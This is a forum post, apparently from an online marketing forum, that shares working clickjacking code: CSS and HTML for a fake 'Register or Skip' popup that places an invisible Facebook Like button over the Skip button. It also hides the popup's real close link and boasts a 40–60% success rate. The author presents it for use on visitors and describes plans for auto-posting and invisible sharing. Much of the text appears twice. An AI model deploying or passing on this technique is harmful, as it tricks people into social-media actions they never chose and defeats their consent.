mailicreate
Junior Member
- Jan 17, 2015
- 129
- 28
UPDATE: Facebook has fixed that with a patch(probably after my client burnt their Like button). Here is a work around. Although you need to convince visitors to click some button. In my case I throw up an annoying popup with a SKIP button. Over the skip button is a hidden Facebook Like button. Clicking on the Skip button unknowingly clicks the FB Like. (If the user is logged into FB they wont notice it. otherwise FB login dialog appears)
CSS CODE: (Add after head tag)
Popup code: (Add this after the body tag)
Visitors will click skip. And like your page.
Coming up next => click share FB post.
I am working with a CMS that
1. Allows users to post to FB Timeline from the CMS (working).
2. On visit to CMS website -> Auto register ->Auto post.
3. LIKE and SHARE Button integrated into the website for every post (working).
4. Visitors LIKE and SHARE post. (invisible background work). (almost done)
Let me know if this works. PM me for help.
EDIT: Added new code. I cant add the skip png image url. Add your own or pm me for the image url.
BTW: To find the close button do crtl + A. (Select all will highlight the hidden close button)
Success rate: 40% - 60%
CSS CODE: (Add after head tag)
Code:
<style>
.black_overlay{
display: none;
position: absolute;
top: 0%;
left: 0%;
width: 100%;
height: 100%;
background-color: black;
z-index:1001;
-moz-opacity: 0.8;
opacity:.80;
filter: alpha(opacity=80);
}
.white_content {
display: none;
position: fixed;
top: 25%;
left: 25%;
width: 50%;
height: 50%;
padding: 16px;
border: 16px solid #333;
background-color: white;
z-index:1002;
overflow: auto;
}
.no-close .ui-dialog-titlebar-close {display: none }
</style>
Popup code: (Add this after the body tag)
Code:
[COLOR=#ff0000][B]Insert Facebook Javascript plugin code here. Get it from Facebook plugin page [/B][/COLOR]
<script>
window.onload= function(){
document.getElementById('light').style.display='block';
document.getElementById('fade').style.display='block';
};
</script>
<div id="light" class="white_content">Do you want to Register? If no click Skip to view content.
<div style="border:1px solid #333; width:49px;background: url('[COLOR=#ff0000][B]URL HIDDEN[/B][/COLOR]') no-repeat;"><div style="opacity:0" class="fb-like" data-href="[COLOR=#ff0000][B]YOUR FB PAGE URL[/B][/COLOR]" data-action="like""></div></div>
<a href = "javascript:void(0)" onclick = "document.getElementById('light').style.display='none';document.getElementById('fade').style.display='none'" style="color:#eee">X</a></div>
<div id="fade" class="black_overlay"></div>
Visitors will click skip. And like your page.
Coming up next => click share FB post.
I am working with a CMS that
1. Allows users to post to FB Timeline from the CMS (working).
2. On visit to CMS website -> Auto register ->Auto post.
3. LIKE and SHARE Button integrated into the website for every post (working).
4. Visitors LIKE and SHARE post. (invisible background work). (almost done)
Let me know if this works. PM me for help.
EDIT: Added new code. I cant add the skip png image url. Add your own or pm me for the image url.
BTW: To find the close button do crtl + A. (Select all will highlight the hidden close button)
Success rate: 40% - 60%
Last edited: